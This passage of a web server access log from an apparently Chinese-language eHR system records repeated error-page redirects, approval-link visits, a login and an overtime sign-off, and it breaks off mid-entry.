/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [02/Dec/2025:15:23:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [02/Dec/2025:15:23:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [02/Dec/2025:15:23:54 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [02/Dec/2025:15:23:54 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:15:33:48 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:15:33:48 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595 HTTP/1.1" 200 4213 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595 HTTP/1.1" 200 4213 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:51 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [02/Dec/2025:15:33:52 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87D7AE181F305A6F6DBF1814B1DB236B27C39766C9EDDEF38F2580EBAC2794765B626D87F2801904E1DACD3D44048DA28A7C32CD753CDE3595" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:33:52 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 192.168.40.52 - - [02/Dec/2025:16:05:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:05:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [02/Dec/2025:16:05:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:05:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [02/Dec/2025:16:05:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:05:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:05:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:05:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [02/Dec/2025:16:05:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:05:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.52 - - [02/Dec/2025:16:06:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 77085 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 77085 192.168.40.52 - - [02/Dec/2025:16:06:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132700%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132700&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132700%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132700&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET 